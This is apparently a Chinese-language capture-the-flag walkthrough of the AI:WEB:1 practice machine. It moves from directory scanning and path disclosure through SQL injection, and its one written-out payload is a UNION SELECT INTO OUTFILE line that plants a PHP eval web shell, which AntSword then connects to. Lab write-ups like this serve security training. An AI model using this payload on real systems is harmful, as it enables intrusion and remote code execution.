AI:WEB:1

1、打开靶机网站

我们发现什么都没有

2、使用dirsearch进行目录扫描

发现有一个robots.txt文件，打开之后发现两个目录，依次访问，只打开一个目录

3、再次扫描第一个网址目录，发现一个info.php,打开发现了绝对路径

4、在唯一的搜索框进行判断闭合方式

5、判断列数，发现有三列

6、查询数据库名

7、写入一句话木马

1' union select 1,2, '<?php @eval($_post[cmd]);?>' into outfile '/home/www/html/web1x443290o2sdf92213//se3reTdir777/uploads/ljq.php' #

8、用蚁剑进行连接查看